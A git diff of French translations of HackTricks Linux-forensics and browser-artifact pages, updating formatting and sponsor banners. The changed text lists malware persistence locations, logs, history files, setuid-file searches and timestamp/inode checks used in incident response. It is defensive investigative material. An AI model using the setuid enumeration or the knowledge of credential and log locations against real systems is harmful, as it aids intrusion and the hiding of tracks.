certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` -
+*** + +
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -189,14 +192,14 @@ Accédez-y aujourd'hui :
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index c547aa0c8..222fd3ccd 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,6 +1,6 @@ -# Investigation Forensique Linux +# Analyse Forensique Linux -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -85,7 +85,7 @@ LiME peut également être utilisé pour **envoyer le vidage via le réseau** au #### Arrêt Tout d'abord, vous devrez **arrêter le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'arrêter.\ -Il existe **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également à un éventuel **logiciel malveillant** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une perte d'informations** (pas beaucoup d'informations seront perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** la présence d'un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise. +Il existe **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également aux éventuels **logiciels malveillants** de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une certaine perte d'informations** (pas beaucoup d'informations seront perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** la présence d'un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise. #### Prendre une image du disque @@ -153,7 +153,7 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -167,8 +167,8 @@ Accédez dès aujourd'hui : Linux propose des outils pour garantir l'intégrité des composants système, essentiels pour repérer les fichiers potentiellement problématiques. -- **Systèmes basés sur RedHat** : Utilisez `rpm -Va` pour une vérification complète. -- **Systèmes basés sur Debian** : `dpkg --verify` pour une vérification initiale, suivi de `debsums | grep -v "OK$"` (après avoir installé `debsums` avec `apt-get install debsums`) pour identifier d'éventuels problèmes. +* **Systèmes basés sur RedHat** : Utilisez `rpm -Va` pour une vérification complète. +* **Systèmes basés sur Debian** : `dpkg --verify` pour une vérification initiale, suivi de `debsums | grep -v "OK$"` (après avoir installé `debsums` avec `apt-get install debsums`) pour identifier d'éventuels problèmes. ### Détecteurs de logiciels malveillants/rootkits @@ -182,11 +182,10 @@ Consultez la page suivante pour découvrir des outils utiles pour trouver des lo Pour rechercher efficacement des programmes installés sur les systèmes Debian et RedHat, envisagez d'utiliser les journaux système et les bases de données en plus des vérifications manuelles dans les répertoires courants. -- Pour Debian, inspectez **_`/var/lib/dpkg/status`_** et **_`/var/log/dpkg.log`_** pour obtenir des détails sur les installations de packages, en utilisant `grep` pour filtrer des informations spécifiques. +* Pour Debian, inspectez _**`/var/lib/dpkg/status`**_ et _**`/var/log/dpkg.log`**_ pour obtenir des détails sur les installations de packages, en utilisant `grep` pour filtrer des informations spécifiques. +* Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les packages installés. -- Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les packages installés. - -Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de packages, explorez des répertoires tels que **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, et **_`/sbin`_**. Combiner les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des packages connus, améliorant ainsi votre recherche de tous les programmes installés. +Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de packages, explorez des répertoires tels que _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combiner les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des packages connus, améliorant ainsi votre recherche de tous les programmes installés. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -202,11 +201,11 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez-y aujourd'hui : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -238,52 +237,51 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra Chemins où un logiciel malveillant pourrait être installé en tant que service : -- **/etc/inittab** : Appelle des scripts d'initialisation comme rc.sysinit, redirigeant ensuite vers des scripts de démarrage. -- **/etc/rc.d/** et **/etc/rc.boot/** : Contiennent des scripts pour le démarrage des services, ce dernier étant trouvé dans les anciennes versions de Linux. -- **/etc/init.d/** : Utilisé dans certaines versions de Linux comme Debian pour stocker des scripts de démarrage. -- Les services peuvent également être activés via **/etc/inetd.conf** ou **/etc/xinetd/**, selon la variante de Linux. -- **/etc/systemd/system** : Un répertoire pour les scripts du système et du gestionnaire de services. -- **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateurs. -- **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers. -- **~/.config/autostart/** : Pour des applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit de dissimulation pour les logiciels malveillants ciblant les utilisateurs. -- **/lib/systemd/system/** : Fichiers d'unités par défaut à l'échelle du système fournis par les packages installés. - +* **/etc/inittab** : Appelle des scripts d'initialisation comme rc.sysinit, redirigeant ensuite vers des scripts de démarrage. +* **/etc/rc.d/** et **/etc/rc.boot/** : Contiennent des scripts pour le démarrage des services, ce dernier étant trouvé dans les anciennes versions de Linux. +* **/etc/init.d/** : Utilisé dans certaines versions de Linux comme Debian pour stocker des scripts de démarrage. +* Les services peuvent également être activés via **/etc/inetd.conf** ou **/etc/xinetd/**, selon la variante de Linux. +* **/etc/systemd/system** : Un répertoire pour les scripts du système et du gestionnaire de services. +* **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateurs. +* **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers. +* **\~/.config/autostart/** : Pour des applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit de dissimulation pour les logiciels malveillants ciblant les utilisateurs. +* **/lib/systemd/system/** : Fichiers d'unités par défaut à l'échelle du système fournis par les packages installés. ### Modules du Noyau Les modules du noyau Linux, souvent utilisés par les logiciels malveillants comme composants de rootkit, sont chargés au démarrage du système. Les répertoires et fichiers critiques pour ces modules incluent : -- **/lib/modules/$(uname -r)** : Contient les modules pour la version du noyau en cours d'exécution. -- **/etc/modprobe.d** : Contient des fichiers de configuration pour contrôler le chargement des modules. -- **/etc/modprobe** et **/etc/modprobe.conf** : Fichiers pour les paramètres globaux des modules. +* **/lib/modules/$(uname -r)** : Contient des modules pour la version du noyau en cours d'exécution. +* **/etc/modprobe.d** : Contient des fichiers de configuration pour contrôler le chargement des modules. +* **/etc/modprobe** et **/etc/modprobe.conf** : Fichiers pour les paramètres globaux des modules. ### Autres Emplacements de Démarrage Automatique Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant potentiellement héberger des logiciels malveillants : -- **/etc/profile.d/***, **/etc/profile** et **/etc/bash.bashrc** : Exécuté pour toute connexion d'utilisateur. -- **~/.bashrc**, **~/.bash_profile**, **~/.profile** et **~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion. -- **/etc/rc.local** : S'exécute après le démarrage de tous les services système, marquant la fin de la transition vers un environnement multi-utilisateurs. +* **/etc/profile.d/**\*, **/etc/profile**, et **/etc/bash.bashrc** : Exécuté pour toute connexion d'utilisateur. +* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, et **\~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion. +* **/etc/rc.local** : S'exécute après le démarrage de tous les services système, marquant la fin de la transition vers un environnement multi-utilisateurs. ## Examiner les Journaux -Les systèmes Linux suivent les activités des utilisateurs et les événements système à travers divers fichiers journaux. Ces journaux sont essentiels pour identifier les accès non autorisés, les infections par des logiciels malveillants et d'autres incidents de sécurité. Les principaux fichiers journaux incluent : +Les systèmes Linux suivent les activités des utilisateurs et les événements système à travers divers fichiers journaux. Ces journaux sont essentiels pour identifier les accès non autorisés, les infections par des logiciels malveillants et autres incidents de sécurité. Les principaux fichiers journaux incluent : -- **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat) : Capture les messages et activités système à l'échelle du système. -- **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat) : Enregistre les tentatives d'authentification, les connexions réussies et échouées. -- Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents. -- **/var/log/boot.log** : Contient les messages de démarrage du système. -- **/var/log/maillog** ou **/var/log/mail.log** : Enregistre les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails. -- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements. -- **/var/log/dmesg** : Contient les messages des pilotes de périphériques. -- **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité. -- **/var/log/cron** : Enregistre les exécutions de tâches cron. -- **/var/log/daemon.log** : Trace les activités des services en arrière-plan. -- **/var/log/btmp** : Documente les tentatives de connexion échouées. -- **/var/log/httpd/** : Contient les journaux d'erreurs et d'accès d'Apache HTTPD. -- **/var/log/mysqld.log** ou **/var/log/mysql.log** : Enregistre les activités de la base de données MySQL. -- **/var/log/xferlog** : Enregistre les transferts de fichiers FTP. -- **/var/log/** : Vérifiez toujours les journaux inattendus ici. +* **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat) : Capture les messages et activités à l'échelle du système. +* **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat) : Enregistre les tentatives d'authentification, les connexions réussies et échouées. +* Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents. +* **/var/log/boot.log** : Contient les messages de démarrage du système. +* **/var/log/maillog** ou **/var/log/mail.log** : Enregistre les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails. +* **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements. +* **/var/log/dmesg** : Contient les messages des pilotes de périphériques. +* **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité. +* **/var/log/cron** : Enregistre les exécutions des tâches cron. +* **/var/log/daemon.log** : Trace les activités des services en arrière-plan. +* **/var/log/btmp** : Documente les tentatives de connexion échouées. +* **/var/log/httpd/** : Contient les journaux d'erreurs et d'accès d'Apache HTTPD. +* **/var/log/mysqld.log** ou **/var/log/mysql.log** : Enregistre les activités de la base de données MySQL. +* **/var/log/xferlog** : Enregistre les transferts de fichiers FTP. +* **/var/log/** : Vérifiez toujours les journaux inattendus ici. {% hint style="info" %} Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de logiciel malveillant. Parce que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées désordonnées qui pourraient indiquer une suppression ou une altération. @@ -291,32 +289,32 @@ Les journaux système Linux et les sous-systèmes d'audit peuvent être désacti **Linux conserve un historique des commandes pour chaque utilisateur**, stocké dans : -- ~/.bash_history -- ~/.zsh_history -- ~/.zsh_sessions/* -- ~/.python_history -- ~/.*_history +* \~/.bash\_history +* \~/.zsh\_history +* \~/.zsh\_sessions/\* +* \~/.python\_history +* \~/.\*\_history De plus, la commande `last -Faiwx` fournit une liste des connexions des utilisateurs. Vérifiez-la pour des connexions inconnues ou inattendues. Vérifiez les fichiers qui peuvent accorder des privilèges supplémentaires : -- Examinez `/etc/sudoers` pour des privilèges d'utilisateur inattendus qui ont pu être accordés. -- Examinez `/etc/sudoers.d/` pour des privilèges d'utilisateur inattendus qui ont pu être accordés. -- Examinez `/etc/groups` pour identifier des adhésions ou des autorisations de groupe inhabituelles. -- Examinez `/etc/passwd` pour identifier des adhésions ou des autorisations de groupe inhabituelles. +* Examinez `/etc/sudoers` pour des privilèges d'utilisateur inattendus qui ont pu être accordés. +* Examinez `/etc/sudoers.d/` pour des privilèges d'utilisateur inattendus qui ont pu être accordés. +* Examinez `/etc/groups` pour identifier des adhésions ou des autorisations de groupe inhabituelles. +* Examinez `/etc/passwd` pour identifier des adhésions ou des autorisations de groupe inhabituelles. Certaines applications génèrent également leurs propres journaux : -- **SSH** : Examinez _~/.ssh/authorized_keys_ et _~/.ssh/known_hosts_ pour des connexions distantes non autorisées. -- **Bureau Gnome** : Consultez _~/.recently-used.xbel_ pour les fichiers récemment consultés via les applications Gnome. -- **Firefox/Chrome** : Vérifiez l'historique du navigateur et les téléchargements dans _~/.mozilla/firefox_ ou _~/.config/google-chrome_ pour des activités suspectes. -- **VIM** : Consultez _~/.viminfo_ pour des détails d'utilisation, tels que les chemins d'accès aux fichiers consultés et l'historique des recherches. -- **Open Office** : Vérifiez les accès récents aux documents qui peuvent indiquer des fichiers compromis. -- **FTP/SFTP** : Consultez les journaux dans _~/.ftp_history_ ou _~/.sftp_history_ pour les transferts de fichiers qui pourraient être non autorisés. -- **MySQL** : Enquêtez sur _~/.mysql_history_ pour les requêtes MySQL exécutées, révélant potentiellement des activités de base de données non autorisées. -- **Less** : Analysez _~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers consultés et les commandes exécutées. -- **Git** : Examinez _~/.gitconfig_ et le projet _.git/logs_ pour les modifications apportées aux dépôts. +* **SSH** : Examinez _\~/.ssh/authorized\_keys_ et _\~/.ssh/known\_hosts_ pour des connexions distantes non autorisées. +* **Bureau Gnome** : Consultez _\~/.recently-used.xbel_ pour les fichiers récemment consultés via les applications Gnome. +* **Firefox/Chrome** : Vérifiez l'historique du navigateur et les téléchargements dans _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ pour des activités suspectes. +* **VIM** : Consultez _\~/.viminfo_ pour des détails d'utilisation, tels que les chemins d'accès aux fichiers consultés et l'historique des recherches. +* **Open Office** : Vérifiez les accès récents aux documents qui peuvent indiquer des fichiers compromis. +* **FTP/SFTP** : Consultez les journaux dans _\~/.ftp\_history_ ou _\~/.sftp\_history_ pour les transferts de fichiers qui pourraient être non autorisés. +* **MySQL** : Enquêtez sur _\~/.mysql\_history_ pour les requêtes MySQL exécutées, révélant potentiellement des activités de base de données non autorisées. +* **Less** : Analysez _\~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers consultés et les commandes exécutées. +* **Git** : Examinez _\~/.gitconfig_ et le projet _.git/logs_ pour les modifications apportées aux dépôts. ### Journaux USB @@ -339,9 +337,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` Plus d'exemples et d'informations sur le github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - - -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -349,9 +345,7 @@ Accédez dès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - - -## Examiner les comptes d'utilisateur et les activités de connexion +## Examiner les comptes utilisateur et les activités de connexion Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **logs de sécurité** à la recherche de noms ou de comptes inhabituels créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques de force brute sudo.\ De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\ @@ -361,27 +355,25 @@ Enfin, recherchez des comptes sans **mot de passe** ou avec des mots de passe ** ### Analyse des structures du système de fichiers dans les enquêtes sur les logiciels malveillants -Lors de l'investigation d'incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu du logiciel malveillant. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, telles que la modification des horodatages des fichiers ou l'évitement du système de fichiers pour le stockage des données. +Lors d'enquêtes sur des incidents de logiciels malveillants, la structure du système de fichiers est une source d'information cruciale, révélant à la fois la séquence des événements et le contenu du logiciel malveillant. Cependant, les auteurs de logiciels malveillants développent des techniques pour entraver cette analyse, telles que la modification des horodatages des fichiers ou l'évitement du système de fichiers pour le stockage des données. Pour contrer ces méthodes anti-forensiques, il est essentiel de: -- **Effectuer une analyse minutieuse de la chronologie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies des événements ou `mactime` de **Sleuth Kit** pour des données chronologiques détaillées. -- **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par des attaquants. -- **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut contenir des fichiers liés aux logiciels malveillants. -- **Rechercher des fichiers ou répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant. -- **Identifier les fichiers setuid root** en utilisant la commande: -```find / -user root -perm -04000 -print``` -Cela permet de trouver des fichiers avec des permissions élevées, qui pourraient être exploités par des attaquants. -- **Vérifier les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, indiquant éventuellement la présence de rootkits ou de chevaux de Troie. -- **Inspecter les inodes consécutifs** pour repérer des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble. -- **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ils pourraient avoir été altérés par des logiciels malveillants. -```bash +* **Effectuer une analyse minutieuse de la chronologie** en utilisant des outils comme **Autopsy** pour visualiser les chronologies d'événements ou `mactime` de **Sleuth Kit** pour des données chronologiques détaillées. +* **Enquêter sur des scripts inattendus** dans le $PATH du système, qui pourraient inclure des scripts shell ou PHP utilisés par des attaquants. +* **Examiner `/dev` pour des fichiers atypiques**, car il contient traditionnellement des fichiers spéciaux, mais peut contenir des fichiers liés aux logiciels malveillants. +* **Rechercher des fichiers ou répertoires cachés** avec des noms comme ".. " (point point espace) ou "..^G" (point point contrôle-G), qui pourraient dissimuler un contenu malveillant. +* **Identifier les fichiers setuid root** en utilisant la commande: `find / -user root -perm -04000 -print` Cela permet de trouver des fichiers avec des permissions élevées, qui pourraient être exploités par des attaquants. +* **Vérifier les horodatages de suppression** dans les tables d'inodes pour repérer des suppressions massives de fichiers, indiquant éventuellement la présence de rootkits ou de chevaux de Troie. +* **Inspecter les inodes consécutifs** pour repérer des fichiers malveillants à proximité après en avoir identifié un, car ils peuvent avoir été placés ensemble. +* **Vérifier les répertoires binaires courants** (_/bin_, _/sbin_) pour des fichiers récemment modifiés, car ils pourraient avoir été altérés par des logiciels malveillants. +````bash # List recent files in a directory: ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` -``` +```` {% hint style="info" %} Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître** les **fichiers comme légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers du même dossier, mais que l'**inode** est **plus grand que prévu**, alors les **horodatages de ce fichier ont été modifiés**. {% endhint %} @@ -392,54 +384,54 @@ Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître Pour comparer les versions du système de fichiers et repérer les changements, nous utilisons des commandes `git diff` simplifiées : -- **Pour trouver de nouveaux fichiers**, comparez deux répertoires : +* **Pour trouver de nouveaux fichiers**, comparez deux répertoires : ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` -- **Pour le contenu modifié**, répertoriez les modifications en ignorant les lignes spécifiques : +* **Pour le contenu modifié**, répertoriez les modifications en ignorant les lignes spécifiques : ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` -- **Pour détecter les fichiers supprimés**: +* **Pour détecter les fichiers supprimés**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` -- **Options de filtre** (`--diff-filter`) aident à restreindre les changements spécifiques tels que les fichiers ajoutés (`A`), supprimés (`D`), ou modifiés (`M`). -- `A`: Fichiers ajoutés -- `C`: Fichiers copiés -- `D`: Fichiers supprimés -- `M`: Fichiers modifiés -- `R`: Fichiers renommés -- `T`: Changements de type (par exemple, fichier vers lien symbolique) -- `U`: Fichiers non fusionnés -- `X`: Fichiers inconnus -- `B`: Fichiers cassés +* **Options de filtre** (`--diff-filter`) aident à restreindre les changements spécifiques tels que les fichiers ajoutés (`A`), supprimés (`D`), ou modifiés (`M`). +* `A`: Fichiers ajoutés +* `C`: Fichiers copiés +* `D`: Fichiers supprimés +* `M`: Fichiers modifiés +* `R`: Fichiers renommés +* `T`: Changements de type (par exemple, fichier vers lien symbolique) +* `U`: Fichiers non fusionnés +* `X`: Fichiers inconnus +* `B`: Fichiers cassés ## Références * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -* **Livre : Guide de terrain de la cybercriminalité pour les systèmes Linux : Guides de terrain en informatique numérique** +* **Livre: Guide de terrain de la cybercriminalité pour les systèmes Linux: Guides de terrain pour la cybercriminalité**
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Obtenez l'accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 1e8fae3f0..d5850ba73 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 